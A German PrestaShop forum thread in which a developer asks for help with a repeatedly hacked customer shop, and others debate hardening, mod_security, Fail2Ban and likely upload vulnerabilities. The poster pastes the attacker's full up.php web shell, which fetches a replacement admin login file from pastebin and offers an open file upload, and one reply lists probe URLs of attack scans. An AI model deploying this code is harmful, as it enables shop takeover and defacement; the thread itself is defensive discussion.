Prestashop attackiert

[sepsus]

Hallo,

 

seit Wochen attackiert irgendein Arsch den Shop von einer Kundin, ich sehe dann Dateien wie z.B. up.php in Ordern liegen, und gestern war die AdminLoginController.php Datei plötzlich leer.

 

Die Kundin konnte sich nicht mehr im Backend anmelden, ich konnte die Dateien wieder  herstellen, aber wie schliesse ich das Leck worüber der Idiot immer wieder eindringt.

 

Ich finde dazu im Netz nur total veraltetes was wie darin aktualisiert geschrieben in der version die ich verwende nicht mehr nötig ist.

 

Es ist die Version 16.1.15, auf dem Server läuft die Domain unter cg iPHP Version 7.0.

 

Ich las in einigen Threads das es der CGI Mode war der in der Vergangenheit zu Problemen führte, aber die Einstellungen in der htaccess werden nicht mehr benötigt.

 

Nun bitte ich das allwissende Forum um Hilfe, eventuell auch einen eingearbeiteten Entwickler der sich mit mir der Sache annehmen könnte, klaro gegen Bezahlung.

 

Vielen Dank

[selectshop.at]

Bist du Server-Admin, weil du schreibst "eine Kundin"... Wenn ja, dann musst du deinen Server sicher machen. Einen Host sicher machen hat wohl wenig Sinn, wenn der Server für alles offen ist. Das wäre das gleiche wie in einem Fenster deines Hauses ein Fenster mit Panzerglas zu versehen, aber die Eingangstüre ist mickrig und nicht gesichert. Erst wenn der Server sicher ist, dann kannst du zusätzlich die Lücken von Software die darauf läuft schliessen. Die Datei up.php ist eine Spezies von WordPress. d.h. wenn diese Datei auf dein Server geladen werden kann, dann ist er nicht sicher. Evtl. laufen dort auch alte, nicth upgedatete WP darauf, die dies immer wieder einschleusen.

 

Für Server Security gibt es im Netz sehr viele Tutorials. Leider machst du keine Angaben über das OS. Ubuntu hat ein spezielles Forum dafür, auch Debian, bzw. gibt es gute Wikis mit Tipps rund um die Server Sicherheit. Die Sicherheit sollte immer mit dem eingesetzten OS abgestimmt werden.

[sepsus]

Der Shop läuft auf einem Hostingpaket von All Inkl, ich denke da ist schon Serversicherheit zu erwarten, innerhalb des Kundenhostings gibt es kein Wordpress und innerhalb der up.php Datei geht es um den Prestashop und nicht um eine Wordpress Datei.

 

Hier der Quellcode:

 

<?php

echo "hacked by Amine";

$sss=array('/','../','../../','../../../','../../../../','../../../../../');

foreach($sss as $pa){

$p1=array("$pa/controllers/admin/AdminLoginController.php");

foreach($p1 as $path){

if (file_exists("$path"))

{

$html = @file_get_contents('http://pastebin.com/raw/aaE154Gw');

$save=fopen($path,'w');

fwrite($save,$html);

echo "<br> ./done panel <br>";

[spam-filter]}

if($_GET['up']=="hous"){

echo '<center><font color="Red" size="4">';

/// Script Upload By amine \\\

if(isset($_POST['Submit'])){

$filedir = ""; 

$maxfile = '2000000';

$mode = '0644';

$userfile_name = $_FILES['image']['name'];

$userfile_tmp = $_FILES['image']['tmp_name'];

if(isset($_FILES['image']['name'])) {

$qx = $filedir.$userfile_name;

@move_uploaded_file($userfile_tmp, $qx);

@chmod ($qx, octdec($mode));

echo" <a href=$userfile_name><center><b>Sucess Upload ==> $userfile_name</b></center></a>";

}

}

else{

echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';

}

echo "<br> fkhatr ga3 l3chran houus <br>";

echo '</center></font>';

 

}

?>

 

Es geht somit um eine gezielte Attacke auf den Shop, was kann bzw, muss ich tun um weiteren Schaden zu vermeiden. 

[selectshop.at]

Das ist leider ein Irrtum. Den meisten Providern ist doch egal, ob der Server sicher ist oder nicht. Nur seriöse Provider bieten Server mit Schutz an. Bei Massenprovidern findet das man leider nur selten, also den Schutz am Server eingerichtet.

 

Einen Host zu sichern, da hat man nicht viel Möglichkeiten. Auch der Einsatz von Sicherheitsskripts die nur auf deinem Root laufen wie page.restrictor wäre sinnvoll.

 

http://www.wpbeginner.com/wp-tutorials/disable-directory-browsing-wordpress/ - gilt auch für die root .htaccess von Prestashop

 

http://doc.prestashop.com/display/PS16/Making+your+PrestaShop+installation+more+secure

und

https://addons.prestashop.com/de/sicherheit-brechtigungen/2659-protect-my-shop-proteger-ma-boutique.html

https://www.prestaheroes.com/en-us/modules/tools/prestavault-malware-trojan-virus-protection

[Claudiocool]

Warum fragt er hier und nicht beim Provider? Zu den Hacks müssten auch Logs da sein, anhand derer man die Wege der Hacker nachvollziehen kann. Und dann ist es doch ein leichtes Unterfangen, diese Löcher zu stopfen.

 

Wenn man natürlich offene Scheunentore bietet, darf man sich nicht wundern....

 

Und falls dein Provider mit Mod-Security, Fal2Ban und derlei Tools nichts anfangen kann, dann such dir schnellstens einen anderen Provider. Weiter wäre ich mit den ganzen Scripts im Presta vorsichtig, gute Hacker bauen da nebenbei weitere Backdoors ein, von denen du nicht mal zu träumen wagst. Und weiter schreibst du "seit ein paar Wochen".... Hey, wenn man den ersten Verdacht hat, dann muss man reagieren!

Edited September 18, 2017 by Claudiocool (see edit history)

[sepsus]

Vielen Dank für Eure Antworten.

 

 

Ich habe natürlich sofort reagiert und den Shop auf den neuesten Stand gebracht, jetzt war auch etwas länger Ruhe und ich dachte es war eben weil der Shop nicht auf dem letzten update war.

 

All-Inkl ist schon ein Hoster der Sicherheit sehr wichtig nimmt und ehrlich gesagt kann ich mir nicht vorstellen, das Hoster aller Art dies nicht auch tun würden, es ist doch deren Business.

 

Tipps wie such dir einen anderen Provider helfen mir überhaupt nicht weiter, denn sie sind a) an meiner Frage vorbei und was sollte sich dann da ändern.

 

Ich bin hier im Prestashop Forum, bin aber selber Webentwickler und schon in den diversen Themen gut verankert.

 

Da ich im Internet zwar ähnliches dazu finde, aber eben nichts wirklich konkretes, habe ich es eben hier versucht.

 

Wenn Du ein konkreten Backdoor kennst wäre mir das hilfreich, das gute Hacker etwas bauen, ist mir schon klar, aber ich brauche ja Lösungen.

 

Welche Protection Erweiterung würdet ihr mir den empfehlen, und wie komplex sind sie in der Administration? 

 

Ich habe keine Root Rechte auf dem Sever kann somit nichts installieren, habe mir die Links angesehen und einiges umgesetzt, vielen Dank, viellicht hilft das ja schon.

 

Für mich ist die Hauptfrage, über welches Script kommt der Hacker aufs System, mein Hoster sagt das kann er nicht feststellen, hmm, das kann schon eine Schutzbehauptung sein, den die Logfiles bilden das ab. Da stimme ich sofort zu.

 

Aber ganz leiben Dank fürs Feedback.

 

Bin für jeden weiteren Tipp dankbar. :-)

[Scully]

Der Shop läuft auf einem Hostingpaket von All Inkl, ich denke da ist schon Serversicherheit zu erwarten,

Leider ein weit verbreiteter Irrtum. Das Hostingpaket kann nicht Serversicherheit bieten, wenn der auf dem Hosting laufende Programmcode nicht sicher ist.

Häufigste Ursache für solche Probleme sind Module von Drittanbietern welche unsicheren Code beinhalten. Dabei ist wiederum das Hochladen von Dateien der grösste Stolperstein. Ja, auch wenn es typischerweise häufig um den Upload von Bildern geht, prüfen gewisse Module nicht, was dann wirklich hochgeladen wird. Schwupp, hat man eine Bilddatei, die man dann als PHP ausführt.

 

Empfehlungen:

• Alle nicht zwingend benötigten Module deinstallieren.
• Alle verbleibenden Module prüfen auf die neuste Version.
• Recherche zu den Modulen - es gibt hier im Forum eine Liste solcher mit bekannten Schwachstellen.
• Upload von Files nur dann zulassen, wenn zwingend notwendig.
• PrestaShop auf neue Versionen bringen, wenn die laufende älter als ein Jahr ist.
• Und mein Favorit: .htaccess nutzen um Regionen oder Länder komplett zu sperren, in welchen man keinen Handel betreibt. Es macht wenig Sinn, Zugriffe aus China, Brasilien oder Russland zuzulassen, wenn man dahin keine Geschäfte macht. Das gibt keine 100% Sicherheit, aber man kann damit oft 80 bis 90% der potentiell problematischen Zugriffe abwehren. Meistens sitzen die Leute, welche solche Attakcken betreiben ja nicht im Nachbarort.

Leider ist meine Erfahrung als Dienstleister, dass sich viele Shopbetreiber erst ein wenig um Sicherheit kümmern, wenn der Shop kompromittiert ist. Das bedeutet dann leider in der Regel, dass folgende Daten in die falschen Hände geraten:

• Mailadressen, Kundennamen, Kunden- und Lieferanten-Adressen.
• Kennworte (Kunden-Kennworte, SMTP Mail Kennworte, sonstige in Modulen hinterlegten Kennworte).
• Kennworte der Datenbank. Ganz schlecht, wenn dieses identisch ist wie das Kennwort zum Server selbst.
• Credentials zu Zahlungsschnittstellen
• eigentlich alles, was irgendwo auf dem Server gespeichert ist

Edited September 19, 2017 by Scully (see edit history)

[Claudiocool]

Scully, ich will dir ja nicht zu nahe treten, aber ein Proxy gehört bei einem Hacker zur Grundausstattung, und wenn der merkt, dass du keinen Chinesen reinlässt, kommt er eben als Schweizer wieder

 

das Problem bei vielen Hostern ist, dass das jeder tun kann, der sich irgendwo als Reseller registriert, das ist eine Sache von ein paar Minuten, dann kann ich als Hoster auftreten. Blöd ist halt dann, dass dann oftmals die grundlegenden kenntnisse fehlen, den Server einigermaßen sicher zu betreiben, da fehlen dann Dinge, die typischerweise als erstes laufen sollten:

 

Eine vernünftige Firewall (Z.B. Mod-Security)

Diverse Mechanismen, um IPs zu sperren, damit Versuche, den Server zu hacken, erswert werden (Z.B. Fail2Ban)

Dann auf jeden Fall auch Virenscans für den Speicherplatz und den Mailer

....

 

Und wie schon oben erwähnt, darf man nie unterschätzen, wie leicht angreifbar viele Scripts sind, gerade bei OpenSource ist das doppelt gefährlich, weil man den Code ja quasi auf dem Präsentierteller hat, da lassen sich dann schnell Schwachstellen erkennen und Schwupps ist man auf dem Server, danach geht der Stress dann richtig los.

 

Daher sollte auch z.B. unbedingt ein Zugang zu den Serverlogs da sein, damit man auch sehen kann, wie die einzelnen Sicherheitsmechanismen wirken bzw. nicht wirken, um dann die Konfigurationen nachzuführen.

 

Ein sehr komplexes Thema, das man nicht so eben im Crash-Kurs lernt, da ist Erfahrung das A und O und da klemmt es oft.

[Scully]

Claudio,

 

Ich bin anderer Meinung. Angriffe auf nicht besonders qualifizierte Ziele laufen automatisiert ab. Da sitzt keiner hinter dem PC und checkt einen Shop nach dem anderen ab, ohne zu wissen, ob da wirklich richtig was zu holen ist. Und setzt dann je nach Bedarf den richtigen Proxy an. Und darum bin ich schon immer noch der Meinung, dass Ländersperren durchaus Sinn machen. Bei mir um die Ecke sitzen die Leute von Gemalto... bin denen diskutiere ich ab und an mal in der Mittagspause. Die wissen was abgeht in diesem Bereich.

 

Wenn es hingegen um grosse Targets geht, dann ist meine Aussage nicht weiter relevant. Wer eine grosse Kiste knacken will, sitzt da mitunter auch ein paar Monate dran.

 

Bei Deinen weiteren Aussagen im übrigen 100% Zustimmung von mir.

Edited September 19, 2017 by Scully (see edit history)

[Claudiocool]

Wenn ich die Logs z.B. von Fail2Ban ansehe, dann kann man schon sehen, was die da so versuchen, und vom Timing sieht man dann auch, dass das trotz vieler unterschiedlicher IPs aus derselben Richtung kommt. Der SSH-Zugang ist hier wohl das beliebteste Ziel, gefolgt vom Mailserver. Wenn man dann erstmal gesehen hat, wie die Firewall konfiguriert ist, sollte es nicht allzuschwer sein, ein entsprechendes Script zu basteln und den Zugang zu bombardieren.

 

Wenn ich da selber an die Konfiguration kann, dann habe ich zumindest die Möglichkeit, hier was umzustellen, aber bei den meisten Webspaces muss man da eben dem Hoster vertrauen, dass der das richtig macht....

Edited September 19, 2017 by Claudiocool (see edit history)

[selectshop.at]

Also Claudio, ich möchte dir nicht zu nahe treten, aber mod_security sollte bei Prestashop sowieso auf OFF gesetzt werden, weil es Probleme macht. Diese Option gibt es auch im Back-Office des Prestashops und sollte genutzt werden.

Serverkonfiguration ist kein Thema, welches man im Vorbeilaufen erledigt. Ich bin ganz mit Scully. Und BTW auf meinen Server habe ich weder Fail2Ban, noch irgendeine andere FERTIGE Apache Firewall am Laufen. Serversecurity kann man auch ohne diesen extra Schnick-Schnack erledigen, aber dazu benötigt man auch Root-Zugang.

Außerdem gibt es da auch noch das Berufsbild "Server Administrator", die wissen wo es lang geht und man sollte diesen Menschen nicht ihr tägliches Brot aberkennen.

 

Da sepsus keinen Root Zugang hat, kann er nur die Software an sich die auf seinem Host läuft sichern. Und die von mir genannten Module sichern den Prestashop und sind keineswegs "unsichere" Quellen die andere Löcher öffnen. Es sind erprobte Module von Prestashopkennern. Was anderes, um seinen Host sicher zu machen kann er da sowieso nicht tun. Aber wie gesagt, macht wenig Sinn, wenn am Server andere offenen Quellen existieren, wie das Hochladen von Bildern ohne Gegencheck, das Listing von Directories, usw....

 

Das Verhalten mit der Datei up.php ist eine reine WP-Attacke, weil WP mit einigen Modulen unsicher gemacht wurde. Könnte Theoretisch auch mit Prestashop der Fall sein. Prestashop ist vom Grund auf wie WP aufgebaut und verwendet viele gleiche Skripte mit offenem Quellcode. Mittlerweile nicht mehr soviele, aber in den ersten Versionen von Prestashop schon. Derzeit hoch im Kurs ist die Suche nach der Datei popup-pomo.php, welches eine reine WP Datei ist und auch teilweise in Software vorkommt, wie der cKeditor (auch in Prestashop verwendet).

 

Auszug aus den letzten error Logs meiner Server - wie du erkennen kannst auch ein Prestashop Modul dort vorhanden:

/smf/chat/upload.php
/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php
/cont/uploads/2014/06/cart-720x380.png
/modules/attributewizardpro/file_uploads/aa?up=shell
/modules/nvn_export_orders/nvn_extra_add.php?up=shell
/modules/columnadverts//uploadimage.php
/modules//videostab/ajax_videostab.php?action=submitUploadVideo%26id_product=upload

[selectshop.at]

Zuletzt noch die Tipps vom eigenen Prestashop Team über das Thema Sicherheit der Softwrae: http://doc.prestashop.com/display/PS16/Making+your+PrestaShop+installation+more+secure

Einige Tipps dort, kannst du auch als einfacher User umsetzen, ohne Root-Zugriff aber über. htaccess.

[Claudiocool]

Warum sollte man Mod-Security nicht einsetzen? Ich bin nach wie vor der Meinung (und habe es auch so am Laufen), wenn man das ordentlich konfiguriert, die Filterregeln anpasst, dann läuft das auch mit einem Prestashop hervorragend. Genau dasselbe auch mit Fail2Ban, das läuft auch ganz gut, wenn man die Regeln anpasst.

 

Natürlich werden die wenigsten Prestabetreiber sich damit auseinandersetzen müssen, aber leider kann ich aus leidiger Erfahrung sagen, dass es in der Branche sehr viele Admins gibt, die besser mal was anderes machten, um ihr Geld zu verdienen.

[selectshop.at]

 

 

Natürlich werden die wenigsten Prestabetreiber sich damit auseinandersetzen müssen, aber leider kann ich aus leidiger Erfahrung sagen, dass es in der Branche sehr viele Admins gibt, die besser mal was anderes machten, um ihr Geld zu verdienen.

Da stimme ich dir ganz und voll zu. So wie auch viele Möchtegern Verkäufer, die mal schnell einen Shop aufbauen und hoffen Gold damit zu machen.

 

Das mit dem mod_security stammt nicht nur von mir. Ist eine Empfehlung von Prestashop Team selbst, wie man in den gelinkten Tutorial nachlesen kann. Und als Serveradmin, sollte ich diese Empfehlung auch nachgehen.

 

Abgesehen davon, ist das mod_security in meinen Augen auch nur so eine halbherzige Firewall. Glaubst du nicht, dass dieses Modul keine Lücken hat, die Hacker kennen und umgehen können ?

 

Ehrlich gesagt ist Fal2Ban ebenso nur eine halb beherzigte Sache, Es macht rein garnichts als IP's zu sperren nach einem bestimmten bekannten Muster um den ServerLoad ein wenig einzudämmen. Recht sinnvoll ist dieses Tool nicht. Was bringt es mir IP's zu sperren die von aller Welt genutzt werden (statische IP's) ? Du sperrst damit auch Kunden aus. Und wenn's blöd läuft, du dich selbst, wenn das Tool glaubt du bist ein Angreifer, wegen irgendeinen Defekt im Code (oder einfach Eingabe des Passworts drei Mal falsch).

 

Es gibt wirklich bessere Methoden um einen Server sicher zu machen, aber sicher nicht mit Standard Apache Module oder Firewalls, die alle kennen (auch die Hacker). Die haben ja nichts anderes zu tun, als genau diese Standard Module auszuspionieren und dann zu umgehen. Es ist besser als nichts, aber nicht wirklich eine Sicherheit.

[Claudiocool]

Wir haben das damals erstmal komplett dichtgemacht, dass gar nichts mehr ging auf dem Server und dann nach und nach anhand der Logs die Regeln eingerichtet, um mit Presta arbeiten zu können. Ich hatte dazu einen ziemlich restriktiven Regelsatz genommen, bei dem so gut wie nichts offen ist, logischerweise war die Seite dann auch nicht erreichbar. In den Logs haben wir dann die entsprechenden Regeln rausgesucht und soweit ausgeschaltet, dass man arbeiten konnte. Standardmäßig kommt nur ein ziemlich toleranter Regelsatz zum Einsatz, der hier nur eine Grundsicherung mitbringt, den kann man vergessen.

 

Es gibt aber auch spezielle Regelsätze, die man per Abo pflegen kann, wobei das auch eine trügerische Sicherheit darstellen kann.

 

Wer bei Mod-Security dann im Filter hängenbleibt, hat genau 2 Versuche, dann hängt er im Fail2Ban und kann es nach 1 Stunde wieder 2 Mal versuchen, das geht 3 Mal, dann hat er eine Woche Pause.

 

Die Logs werden dennoch regelmäßig gesichtet, speziell am Anfang muss man natürlich schon schauen, was da so passiert, da ist schnell mal eine unbeabsichtigte Sperre aktiv...

 

Vermutlich wird man auf jedem Server, der irgendwie von aussen erreichbar ist, Schwachstellen finden, aber mit einem gewissen Restrisiko wird man eben leben müssen. Tools, die einem einen sicheren Server vorgaukeln, sind nicht der Weisheit letzter Schuss, weil die Hackerszene solchen Sachen im Normalfall immer ein Stück voraus ist.

[Scully]

Natürlich werden die wenigsten Prestabetreiber sich damit auseinandersetzen müssen, aber leider kann ich aus leidiger Erfahrung sagen, dass es in der Branche sehr viele Admins gibt, die besser mal was anderes machten, um ihr Geld zu verdienen.

 

100% Zustimmung.

[selectshop.at]

@ ClaudioCool - das ist genau ein Beispiel davon, wie es nicht sein soll, wenn ein Server Admin weiß was er tut. . Genau aus diesem Grund verwenden die richtigen Profis auch keine solche Standard Module, wie du sie im Einsatz hast (Fail2Ban & Co.). Ein Server Admin kennt seinen Server wie seine eigene Westentasche, außerdem laufen auf Server nicht nur Prestashop, sondern jede Menge andere Applikationen, wenn der Server Shared ist. So vorzugehen, wie du es getan hast, ist eine Lösung die für dich passt als einziger User auf diesem Server (VPS root oder dedicated), aber sicher nicht brauchbarchbar für die Allgemeinheit im shared Hosting Bereich. Als Provideranbieter (und hier sage ich NICHT MASSENANBIETER) habe ich auch eine gewisse Verantwortung für meine abgelieferte Arbeit. Vor allem verliere ich auch an Reputation und Kunden, wenn ich so vorgehen würde, wie du es vorschlägst. Aber wir schweifen ehrlich gesagt vom Thema ab.

 

sepsus soll seinen eigenen Host so gut wie möglich dichtmachen, mit den Mitteln die ihm zur Verfügung stehen. Fail2Ban & Co. steht hier mal komplett außer Frage, außer er bucht bei seinem Provider ein Zusatzpaket für sowas, wenn er dies auch anbietet. Vermutlich eher nicht.

[Claudiocool]

Okay, das mag alles so sein, aber in erster Linie verkaufe ich Autoteile. Der Prestashop kam deswegen zum Einsatz, weil ich zuvor OSCommerce hatte und daher eine Shoplösung, bei der man selber "rumpfuschen" kann, gesucht hatte. Also bin ich weder gelernter Admin, noch Shopprogrammierer.

 

Hier läuft alles auf einem VPS, weil genau das mit dem shared Hosting teilweise sehr nervig war, da gab es die tollsten Erlebnisse damit, seit dem VPS ist alles okay. Mir ist klar, dass man die Spielereien mit den Filtern nur auf solcher Basis machen kann, genauso wie frei konfigurierbare Serverumgebungen, genau das wollte ich aber haben. Ohne die Hilfe eines Freundes, der die Sache pflegt, hätte ich das aber nicht gemacht.

[Shad86]

Mal ganz blöd gefragt, muss es denn eine Backdoor sein oder hat derjenige vielleicht einfach den FTP Zugang geknackt wegen einem unsicheren Passwort oder keinem SFTP?

Ich würde mich auch direkt mit dem Provider auseinander setzen und den auffordern mir zu sagen wie diese up.php auf den Server kam. Vielleicht nutzt jemand eine alte Filezilla Version die alle Passwörter in klarschrift gespeichert hat und der "Hacker" hat sich einfach nur diese Datei von dir oder sonstwem geholt?

[Scully]

Vielleicht nutzt jemand eine alte Filezilla Version die alle Passwörter in klarschrift gespeichert hat und der "Hacker" hat sich einfach nur diese Datei von dir oder sonstwem geholt?

 

Das wird für einen einfachen PrestaShop wohl nicht so laufen. Dazu müsste der Angreifer den Datenverkehr im richtigen Moment von der Quelle zum Zielserver mitschneiden. Da kommen schnell Gigabytes zusammen an Traffic und dann musst Du Dir das Kennwort auslesen. Lohnt den Aufwand nicht für kleine Ziele. Mann muss sich das so vorstellen, dass die Angriffe nach der Prototypen- und Entwicklungsphase vollständig automatisiert ablaufen.

• Check: Welche Schwachstellen sind bekannt und kann das angreifende Script auch durchführen?
• Suche: Ziele nach verwundbaren Systemen suchen (zB über die Meta Tags und andere Merkmale)
• Ausführen: Angriff starten
• Report: Erfolgreiche Ziele zurückmelden, ggf. neue Payload nachladen
• am Ende: Unfug treiben, Daten ausspähen, Server als Mailschleuder nutzen, Server als Command Server nutzen, seltener: Zahlungssysteme modifizieren oder versuchen an Cash via Zahlsysteme zu kommen

Die up.php ist mit allergrösster Sicherheit durch einen scriptgesteuerten File Upload auf den Server gekommen. Module welche Fotos oder Medien im Shop einfügen, sind da ganz besonders gefährdet. Ich sehe da auch Provider / Hosting Company nur sekundär in der Pflicht. Warum? Der den Server zur Verfügung stellt, kann unmöglich alles überwachen, was Kunden dort laufen haben. Die einen pflegen ihre Systeme penibel und führen regelmässig Updates zumindest der Anwendungen durch. Andere setzen ein System auf und lassen es drei Jahre auf diesem Stand und wundern sich dann, wenn der Server urplötzlich komprommitiert war.

 

P.S. Hatte vor drei Tagen im EN Forum eine Anfrage für ein Module anzupassen, so dass es auch auf PS 1.4.XX läuft. Noch Fragen?

[Shad86]

Naja aber bei alten Filezilla versionen war es so das immer an der gleichen Stelle eine Datei lag, die imme gleich hieß, die sämtliche in Filezilla gespeicherten Zugänge inkl. Passwort beinhaltet hat. Wenn jemand also auf meinen Rechner Zugriff hat (wie auch immer) und gezielt diese Datei ausliest, hat er Zugriff auf alle Webseiten und Shops die ich in Filezilla gespeichert habe. Muss ja nicht gezielt um den Shop gegangen sein. Wie unwahrscheinlich es ist, ist eine Sache, möglich ist es aber schon. Deswegen würde ich erstmal sämtliche Passwörter ändern oder sogar Zugänge löschen und neue einrichten.